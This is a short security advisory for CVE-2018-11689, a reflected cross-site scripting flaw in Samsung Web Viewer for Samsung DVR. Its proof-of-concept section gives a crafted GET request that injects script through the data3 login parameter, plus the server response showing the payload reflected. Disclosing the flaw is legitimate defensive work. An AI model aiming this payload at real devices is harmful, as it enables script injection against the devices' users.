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Samsung Web Viewer For Samsung DVR Cross Site Scripting

Samsung Web Viewer For Samsung DVR Cross Site Scripting
Posted Jun 13, 2018
Authored by Yavuz Atlas

Samsung Web Viewer for Samsung DVR suffers from a cross site scripting vulnerability.

tags | exploit, web, xss
advisories | CVE-2018-11689
MD5 | 4c1965dce41d570dded8761c42edd7e7

Samsung Web Viewer For Samsung DVR Cross Site Scripting

Change Mirror Download
I. VULNERABILITY
-------------------------
Samsung Web Viewer for Samsung DVR Reflected Cross Site Scripting (XSS)

II. CVE REFERENCE
-------------------------
CVE-2018-11689

III. REFERENCES
-------------------------
https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-11689

IV. CREDIT
-------------------------
Yavuz Atlas - Biznet Bilisim
http://www.biznet.com.tr/biznet-guvenlik-duyurulari

V. DESCRIPTION
-------------------------
Samsung Web Viewer for Samsung DVR devices (Samsung Smart Viewer) is
vulnerable to cross-site scripting. The vulnerability allows remote
attackers to inject arbitrary web script or HTML.

VI. PROOF OF CONCEPT
-------------------------
Request:
GET /cgi-bin/webviewer_login_page?lang=tu&loginvalue=0&port=0&data3=</script><script>alert(1)</script>
HTTP/1.1
Host: 10.10.10.10

Response:
HTTP/1.1 200 OK
X-UA-Compatible: IE=EmulateIE9, requiresActiveX=true
Content-type: text/html
Connection: close
Date: Wed, 23 May 2018 11:14:09 GMT
Server: lighttpd/1.4.35
Content-Length: 10797
a|
function setcookie(){
var val_rand = Math.random();
if(is_close_user_session == true)
document.login_page_submit.close_user_session.value = 1;
else
document.login_page_submit.close_user_session.value = 0;
document.login_page_submit.data1.value =
data_parser(document.login_page.data1.value);
document.login_page_submit.data2.value =
do_encrypt(document.login_page.data2.value);
document.login_page_submit.data3.value = </script><script>alert(1)</script>;
document.login_page_submit.data4.value = val_rand;
document.login_page_submit.submit();
}
a|

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